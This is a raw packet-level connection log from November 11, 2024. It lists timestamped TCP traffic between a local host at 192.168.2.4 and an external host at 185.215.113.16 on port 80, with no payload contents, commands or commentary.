Nov 11, 2024 14:32:22.605690002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605696917 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.605705976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605712891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605712891 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.605717897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605725050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605739117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605745077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.605746984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605760098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605763912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.605767012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605772018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605777025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605794907 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.605806112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605812073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.605814934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605822086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605828047 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605834961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.605849028 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.605871916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.605890036 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606023073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606030941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606044054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606049061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606055021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606065989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606071949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606077909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606079102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606082916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606089115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606098890 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606105089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606112003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606117964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606122971 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606122971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606129885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606134892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606147051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606153011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606153965 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606162071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606169939 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606173038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606179953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606184959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606192112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606192112 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606198072 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606204033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606219053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606223106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606225967 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606230021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606250048 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606259108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606265068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606271029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606272936 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606276989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606283903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606290102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606296062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606301069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606304884 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606308937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606316090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606321096 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606327057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606327057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606338978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606345892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606348038 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606364965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606368065 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606372118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606378078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606384039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606389046 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606389046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606395960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606401920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606409073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606411934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606421947 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606426954 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606446028 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606465101 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606750011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606769085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606780052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606820107 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606832981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606839895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606846094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606853962 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606888056 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606916904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606956005 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.606972933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606982946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.606991053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607032061 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.607227087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607254982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607259989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607325077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.607398033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607405901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607414961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607420921 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607426882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607431889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607439041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607453108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607455015 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.607460022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607465982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607472897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607484102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.607510090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.607522011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607530117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607573986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.607609987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607616901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607639074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607642889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607656956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607662916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.607662916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607671022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607685089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607702017 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.607713938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.607728958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.607819080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607835054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607841015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607846975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607852936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607858896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607863903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607875109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607899904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607904911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607908010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.607912064 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.607933044 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.607959986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.607995033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608036995 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608078003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608084917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608097076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608134031 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608154058 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608160973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608166933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608174086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608179092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608202934 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608216047 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608230114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608237028 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608244896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608277082 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608310938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608316898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608329058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608335018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608376980 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608402014 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608463049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608469009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608480930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608485937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608495951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608500957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608508110 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608511925 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608511925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608520031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608525038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608530998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608536959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608553886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608560085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608572006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608578920 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608587027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608593941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608593941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608602047 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608612061 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608613968 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608643055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608649969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608650923 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608658075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608664036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608671904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608683109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608690023 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608690977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608711958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608727932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608778954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608793974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608802080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608808041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608814955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608827114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608834028 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608834028 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608853102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608876944 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608880043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608886957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608892918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608899117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608906031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608911037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608927011 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.608927965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608936071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.608966112 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.609024048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609030008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609041929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609047890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609054089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609059095 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609065056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609066010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.609066010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.609071016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609077930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609083891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609098911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.609112978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609117985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609123945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609124899 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.609132051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609138966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609158039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.609164000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609169960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609169960 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.609177113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609205008 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.609257936 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.609316111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609321117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609332085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609339952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609375954 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.609411955 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.609421015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609427929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609433889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609451056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609456062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.609472990 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.609498024 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.611722946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.611805916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.634380102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.634390116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.634402990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.634443998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.634449959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.634455919 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.634458065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.634500980 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.634587049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.634651899 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.634973049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635015965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635030985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635040998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635068893 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635091066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635096073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635102987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635114908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635202885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635207891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635211945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635220051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635226965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635238886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635247946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635251999 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635261059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635266066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635282993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635284901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635293961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635308027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635328054 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635339975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635364056 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635423899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635438919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635445118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635451078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635457993 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635464907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635469913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635481119 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635487080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635489941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635493994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635509014 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635524035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635529995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635540962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635546923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635550022 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635554075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635559082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635576010 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635576963 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635584116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635596037 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635596037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635603905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635608912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635622025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635627031 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.635629892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.635648966 CET	49761	80	192.168.2.4	185.215.113.16
